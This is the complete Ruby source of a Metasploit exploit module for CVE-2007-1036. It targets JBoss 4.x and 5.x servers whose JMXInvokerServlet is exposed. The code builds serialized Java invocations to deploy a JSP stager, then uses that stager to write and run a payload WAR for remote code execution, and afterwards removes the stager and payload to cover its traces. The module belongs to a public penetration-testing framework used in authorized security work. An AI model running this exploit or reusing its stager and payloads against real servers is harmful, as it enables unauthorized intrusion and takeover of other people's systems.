## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /JBoss/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'JBoss DeploymentFileRepository WAR Deployment (via JMXInvokerServlet)', 'Description' => %q{ This module can be used to execute a payload on JBoss servers that have an exposed HTTPAdaptor's JMX Invoker exposed on the "JMXInvokerServlet". By invoking the methods provided by jboss.admin:DeploymentFileRepository a stager is deployed to finally upload the selected payload to the target. The DeploymentFileRepository methods are only available on Jboss 4.x and 5.x. }, 'Author' => [ 'Patrick Hof', # Vulnerability discovery, analysis and PoC 'Jens Liebchen', # Vulnerability discovery, analysis and PoC 'h0ng10' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2007-1036' ], [ 'OSVDB', '33744' ], [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ], ], 'DisclosureDate' => 'Feb 20 2007', 'Privileged' => true, 'Platform' => %w{ java linux win }, 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ # do target detection but java meter by default [ 'Automatic', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' } ], [ 'Java Universal', { 'Arch' => ARCH_JAVA, }, ], # # Platform specific targets # [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' }, ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }, ], ], 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8080), OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]), OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]), OptString.new('TARGETURI', [ true, 'The URI path of the invoker servlet', '/invoker/JMXInvokerServlet' ]), ], self.class) end def check res = send_serialized_request('version') if res.nil? vprint_error('Connection timed out') return Exploit::CheckCode::Unknown elsif res.code != 200 vprint_error("Unable to request version, returned http code is: #{res.code.to_s}") return Exploit::CheckCode::Unknown end # Check if the version is supported by this exploit return Exploit::CheckCode::Appears if res.body =~ /CVSTag=Branch_4_/ return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_4_/ return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_5_/ if res.body =~ /ServletException/ # Simple check, if we caused an exception. vprint_status('Target seems vulnerable, but the used JBoss version is not supported by this exploit') return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit mytarget = target if target.name =~ /Automatic/ mytarget = auto_target fail_with(Failure::BadConfig, 'Unable to automatically select a target') unless mytarget print_status("Automatically selected target: \"#{mytarget.name}\"") else print_status("Using manually select target: \"#{mytarget.name}\"") end # We use a already serialized stager to deploy the final payload regex_stager_app_base = rand_text_alpha(14) regex_stager_jsp_name = rand_text_alpha(14) name_parameter = rand_text_alpha(8) content_parameter = rand_text_alpha(8) stager_uri = "/#{regex_stager_app_base}/#{regex_stager_jsp_name}.jsp" replace_values = { 'regex_app_base' => regex_stager_app_base, 'regex_jsp_name' => regex_stager_jsp_name, 'jsp_code' => generate_stager(name_parameter, content_parameter) } print_status('Deploying stager') send_serialized_request('installstager', replace_values) print_status("Calling stager: #{stager_uri}") call_uri_mtimes(stager_uri, 5, 'GET') # Generate the WAR with the payload which will be uploaded through the stager app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8)) jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8)) war_data = payload.encoded_war({ :app_name => app_base, :jsp_name => jsp_name, :arch => mytarget.arch, :platform => mytarget.platform }).to_s b64_war = Rex::Text.encode_base64(war_data) print_status("Uploading payload through stager") res = send_request_cgi({ 'uri' => stager_uri, 'method' => "POST", 'vars_post' => { name_parameter => app_base, content_parameter => b64_war } }) payload_uri = "/#{app_base}/#{jsp_name}.jsp" print_status("Calling payload: " + payload_uri) res = call_uri_mtimes(payload_uri,5, 'GET') # Remove the payload through stager print_status('Removing payload through stager') delete_payload_uri = stager_uri + "?#{name_parameter}=#{app_base}" res = send_request_cgi({'uri' => delete_payload_uri}) # Remove the stager print_status('Removing stager') send_serialized_request('removestagerfile', replace_values) send_serialized_request('removestagerdirectory', replace_values) handler end def generate_stager(name_param, content_param) war_file = rand_text_alpha(4+rand(4)) file_content = rand_text_alpha(4+rand(4)) jboss_home = rand_text_alpha(4+rand(4)) decoded_content = rand_text_alpha(4+rand(4)) path = rand_text_alpha(4+rand(4)) fos = rand_text_alpha(4+rand(4)) name = rand_text_alpha(4+rand(4)) file = rand_text_alpha(4+rand(4)) stager_script = <<-EOT <%@page import="java.io.*, java.util.*, sun.misc.BASE64Decoder" %> <% String #{file_content} = ""; String #{war_file} = ""; String #{jboss_home} = System.getProperty("jboss.server.home.dir"); if (request.getParameter("#{content_param}") != null){ try { #{file_content} = request.getParameter("#{content_param}"); #{war_file} = request.getParameter("#{name_param}"); byte[] #{decoded_content} = new BASE64Decoder().decodeBuffer(#{file_content}); String #{path} = #{jboss_home} + "/deploy/" + #{war_file} + ".war"; FileOutputStream #{fos} = new FileOutputStream(#{path}); #{fos}.write(#{decoded_content}); #{fos}.close(); } catch(Exception e) {} } else { try{ String #{name} = request.getParameter("#{name_param}"); String #{file} = #{jboss_home} + "/deploy/" + #{name} + ".war"; new File(#{file}).delete(); } catch(Exception e) {} } %> EOT end def send_serialized_request(operation , replace_params = {}) data = '' case operation when 'version' data = build_get_version.encode when 'osname' data = build_get_os.encode when 'osarch' data = build_get_arch.encode when 'installstager' data = build_install_stager( war_name: replace_params['regex_app_base'], jsp_name: replace_params['regex_jsp_name'], data: replace_params['jsp_code'] ).encode when 'removestagerfile' data = build_delete_stager_file( dir: "#{replace_params['regex_app_base']}.war", file: replace_params['regex_jsp_name'], extension: '.jsp' ).encode when 'removestagerdirectory' data = build_delete_stager_file( dir: './', file: replace_params['regex_app_base'], extension: '.war' ).encode else fail_with(Failure::Unknown, "#{peer} - Unexpected operation") end res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'data' => data, 'headers' => { 'ContentType:' => 'application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation', 'Accept' => 'text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2' } }, 25) unless res && res.code == 200 print_error("Failed: Error requesting preserialized request #{operation}") return nil end res end def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil) # JBoss might need some time for the deployment. Try 5 times at most and # wait 5 seconds inbetween tries num_attempts.times do |attempt| if verb == "POST" res = send_request_cgi( { 'uri' => uri, 'method' => verb, 'data' => data }, 5) else uri += "?#{data}" unless data.nil? res = send_request_cgi( { 'uri' => uri, 'method' => verb }, 30) end msg = nil if res.nil? msg = "Execution failed on #{uri} [No Response]" elsif res.code < 200 || res.code >= 300 msg = "http request failed to #{uri} [#{res.code}]" elsif res.code == 200 vprint_status("Successfully called '#{uri}'") return res end if attempt < num_attempts - 1 msg << ', retrying in 5 seconds...' vprint_status(msg) select(nil, nil, nil, 5) else print_error(msg) return res end end end def auto_target print_status('Attempting to automatically select a target') plat = detect_platform arch = detect_architecture return nil unless arch && plat # see if we have a match targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) } # no matching target found return nil end # Try to autodetect the target platform def detect_platform print_status('Attempting to automatically detect the platform') res = send_serialized_request('osname') if res.body =~ /(Linux|FreeBSD|Windows)/i os = $1 if os =~ /Linux/i return 'linux' elsif os =~ /FreeBSD/i return 'linux' elsif os =~ /Windows/i return 'win' end end nil end # Try to autodetect the architecture def detect_architecture print_status('Attempting to automatically detect the architecture') res = send_serialized_request('osarch') if res.body =~ /(i386|x86)/i arch = $1 if arch =~ /i386|x86/i return ARCH_X86 # TODO, more end end nil end def build_get_version builder = Rex::Java::Serialization::Builder.new object_array = builder.new_array( values_type: 'java.lang.Object;', values: [ builder.new_object( name: 'javax.management.ObjectName', serial: 0xf03a71beb6d15cf, flags: 3, annotations: [Rex::Java::Serialization::Model::EndBlockData.new] ), Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=Server') ], name: '[Ljava.lang.Object;', serial: 0x90ce589f1073296c, annotations: [Rex::Java::Serialization::Model::EndBlockData.new] ) stream = Rex::Java::Serialization::Model::Stream.new stream.contents = [] stream.contents << object_array stream.contents << Rex::Java::Serialization::Model::EndBlockData.new stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'Version') build_invocation(stream) end def build_get_os builder = Rex::Java::Serialization::Builder.new object_array = builder.new_array( values_type: 'java.lang.Object;', values: [ builder.new_object( name: 'javax.management.ObjectName', serial: 0xf03a71beb6d15cf, flags: 3, annotations: [Rex::Java::Serialization::Model::EndBlockData.new] ), Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=ServerInfo') ], name: '[Ljava.lang.Object;', serial: 0x90ce589f1073296c, annotations: [Rex::Java::Serialization::Model::EndBlockData.new] ) stream = Rex::Java::Serialization::Model::Stream.new stream.contents = [] stream.contents << object_array stream.contents << Rex::Java::Serialization::Model::EndBlockData.new stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'OSName') build_invocation(stream) end def build_get_arch builder = Rex::Java::Serialization::Builder.new object_array = builder.new_array( values_type: 'java.lang.Object;', values: [ builder.new_object( name: 'javax.management.ObjectName', serial: 0xf03a71beb6d15cf, flags: 3, annotations: [Rex::Java::Serialization::Model::EndBlockData.new] ), Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=ServerInfo') ], name: '[Ljava.lang.Object;', serial: 0x90ce589f1073296c, annotations: [Rex::Java::Serialization::Model::EndBlockData.new] ) stream = Rex::Java::Serialization::Model::Stream.new stream.contents = [] stream.contents << object_array stream.contents << Rex::Java::Serialization::Model::EndBlockData.new stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'OSArch') build_invocation(stream) end def build_install_stager(opts = {}) war_name = "#{opts[:war_name]}.war" jsp_name = opts[:jsp_name] || '' extension = opts[:extension] || '.jsp' data = opts[:data] || '' builder = Rex::Java::Serialization::Builder.new object_array = builder.new_array( values_type: 'java.lang.Object;', values: [ builder.new_object( name: 'javax.management.ObjectName', serial: 0xf03a71beb6d15cf, flags: 3, annotations: [Rex::Java::Serialization::Model::EndBlockData.new] ), Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository'), Rex::Java::Serialization::Model::EndBlockData.new, Rex::Java::Serialization::Model::Utf.new(nil, 'store') ], name: '[Ljava.lang.Object;', serial: 0x90ce589f1073296c, annotations: [Rex::Java::Serialization::Model::EndBlockData.new] ) values_array = builder.new_array( values_type: 'java.lang.Object;', values: [ Rex::Java::Serialization::Model::Utf.new(nil, war_name), Rex::Java::Serialization::Model::Utf.new(nil, jsp_name), Rex::Java::Serialization::Model::Utf.new(nil, extension), Rex::Java::Serialization::Model::Utf.new(nil, data), builder.new_object( name: 'java.lang.Boolean', serial: 0xcd207280d59cfaee, annotations: [Rex::Java::Serialization::Model::EndBlockData.new], fields: [['boolean', 'value']], data: [['boolean', 0]] ) ], name: '[Ljava.lang.Object;', serial: 0x90ce589f1073296c, annotations: [Rex::Java::Serialization::Model::EndBlockData.new] ) types_array = builder.new_array( values_type: 'java.lang.String;', values: [ Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), Rex::Java::Serialization::Model::Utf.new(nil, 'boolean') ], name: '[Ljava.lang.String;', serial: 0xadd256e7e91d7b47, annotations: [Rex::Java::Serialization::Model::EndBlockData.new] ) stream = Rex::Java::Serialization::Model::Stream.new stream.contents = [] stream.contents << object_array stream.contents << values_array stream.contents << types_array build_invocation_deploy(stream) end def build_delete_stager_file(opts = {}) dir = opts[:dir] || '' file = opts[:file] || '' extension = opts[:extension] || '.jsp' builder = Rex::Java::Serialization::Builder.new object_array = builder.new_array( values_type: 'java.lang.Object;', values: [ builder.new_object( name: 'javax.management.ObjectName', serial: 0xf03a71beb6d15cf, flags: 3, annotations: [Rex::Java::Serialization::Model::EndBlockData.new] ), Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository'), Rex::Java::Serialization::Model::EndBlockData.new, Rex::Java::Serialization::Model::Utf.new(nil, 'remove') ], name: '[Ljava.lang.Object;', serial: 0x90ce589f1073296c, annotations: [Rex::Java::Serialization::Model::EndBlockData.new] ) values_array = builder.new_array( values_type: 'java.lang.Object;', values: [ Rex::Java::Serialization::Model::Utf.new(nil, dir), Rex::Java::Serialization::Model::Utf.new(nil, file), Rex::Java::Serialization::Model::Utf.new(nil, extension) ], name: '[Ljava.lang.Object;', serial: 0x90ce589f1073296c, annotations: [Rex::Java::Serialization::Model::EndBlockData.new] ) types_array = builder.new_array( values_type: 'java.lang.String;', values: [ Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String') ], name: '[Ljava.lang.String;', serial: 0xadd256e7e91d7b47, annotations: [Rex::Java::Serialization::Model::EndBlockData.new] ) stream = Rex::Java::Serialization::Model::Stream.new stream.contents = [] stream.contents << object_array stream.contents << values_array stream.contents << types_array build_invocation_deploy(stream) end def build_invocation(stream_argument) stream = Rex::Java::Serialization::Model::Stream.new stream.contents = [] null_stream = build_null_stream null_stream_enc = null_stream.encode null_stream_value = [null_stream_enc.length].pack('N') null_stream_value << null_stream_enc null_stream_value << "\xfb\x57\xa7\xaa" stream_argument_enc = stream_argument.encode stream_argument_value = [stream_argument_enc.length].pack('N') stream_argument_value << stream_argument_enc stream_argument_value << "\x7b\x87\xa0\xfb" stream.contents << build_marshalled_invocation stream.contents << Rex::Java::Serialization::Model::NullReference.new stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x97\x51\x4d\xdd\xd4\x2a\x42\xaf") stream.contents << build_integer(647347722) stream.contents << build_marshalled_value stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, stream_argument_value) stream.contents << Rex::Java::Serialization::Model::EndBlockData.new stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x01") stream.contents << build_invocation_key(5) stream.contents << build_marshalled_value stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, null_stream_value) stream.contents << Rex::Java::Serialization::Model::EndBlockData.new stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x02") stream.contents << build_invocation_key(4) stream.contents << build_invocation_type(1) stream.contents << build_invocation_key(10) stream.contents << Rex::Java::Serialization::Model::NullReference.new stream.contents << Rex::Java::Serialization::Model::EndBlockData.new stream end def build_invocation_deploy(stream_argument) builder = Rex::Java::Serialization::Builder.new stream = Rex::Java::Serialization::Model::Stream.new stream.contents = [] null_stream = build_null_stream null_stream_enc = null_stream.encode null_stream_value = [null_stream_enc.length].pack('N') null_stream_value << null_stream_enc null_stream_value << "\xfb\x57\xa7\xaa" stream_argument_enc = stream_argument.encode stream_argument_value = [stream_argument_enc.length].pack('N') stream_argument_value << stream_argument_enc stream_argument_value << "\x7b\x87\xa0\xfb" stream.contents << build_marshalled_invocation stream.contents << Rex::Java::Serialization::Model::NullReference.new stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x78\x94\x98\x47\xc1\xd0\x53\x87") stream.contents << build_integer(647347722) stream.contents << build_marshalled_value stream.contents << Rex::Java::Serialization::Model::BlockDataLong.new(nil, stream_argument_value) stream.contents << Rex::Java::Serialization::Model::EndBlockData.new stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x01") stream.contents << build_invocation_key(5) stream.contents << build_marshalled_value stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, null_stream_value) stream.contents << Rex::Java::Serialization::Model::EndBlockData.new stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x03") stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'JMX_OBJECT_NAME') stream.contents << builder.new_object( name: 'javax.management.ObjectName', serial: 0xf03a71beb6d15cf, flags: 3, annotations: [Rex::Java::Serialization::Model::EndBlockData.new] ) stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository') stream.contents << Rex::Java::Serialization::Model::EndBlockData.new stream.contents << build_invocation_key(4) stream.contents << build_invocation_type(1) stream.contents << build_invocation_key(10) stream.contents << Rex::Java::Serialization::Model::NullReference.new stream.contents << Rex::Java::Serialization::Model::EndBlockData.new stream end def build_marshalled_invocation builder = Rex::Java::Serialization::Builder.new builder.new_object( name: 'org.jboss.invocation.MarshalledInvocation', serial: 0xf6069527413ea4be, flags: Rex::Java::Serialization::SC_BLOCK_DATA | Rex::Java::Serialization::SC_EXTERNALIZABLE, annotations: [Rex::Java::Serialization::Model::EndBlockData.new] ) end def build_marshalled_value builder = Rex::Java::Serialization::Builder.new builder.new_object( name: 'org.jboss.invocation.MarshalledValue', serial: 0xeacce0d1f44ad099, flags: Rex::Java::Serialization::SC_BLOCK_DATA | Rex::Java::Serialization::SC_EXTERNALIZABLE, annotations: [Rex::Java::Serialization::Model::EndBlockData.new] ) end def build_invocation_key(ordinal) builder = Rex::Java::Serialization::Builder.new builder.new_object( name: 'org.jboss.invocation.InvocationKey', serial: 0xb8fb7284d79385f9, annotations: [Rex::Java::Serialization::Model::EndBlockData.new], fields: [ ['int', 'ordinal'] ], data:[ ['int', ordinal] ] ) end def build_invocation_type(ordinal) builder = Rex::Java::Serialization::Builder.new builder.new_object( name: 'org.jboss.invocation.InvocationType', serial: 0x59a73a1ca52b7cbf, annotations: [Rex::Java::Serialization::Model::EndBlockData.new], fields: [ ['int', 'ordinal'] ], data:[ ['int', ordinal] ] ) end def build_integer(value) builder = Rex::Java::Serialization::Builder.new builder.new_object( name: 'java.lang.Integer', serial: 0x12e2a0a4f7818738, annotations: [Rex::Java::Serialization::Model::EndBlockData.new], super_class: builder.new_class( name: 'java.lang.Number', serial: 0x86ac951d0b94e08b, annotations: [Rex::Java::Serialization::Model::EndBlockData.new] ), fields: [ ['int', 'value'] ], data:[ ['int', value] ] ) end def build_null_stream stream = Rex::Java::Serialization::Model::Stream.new stream.contents = [Rex::Java::Serialization::Model::NullReference.new] stream end end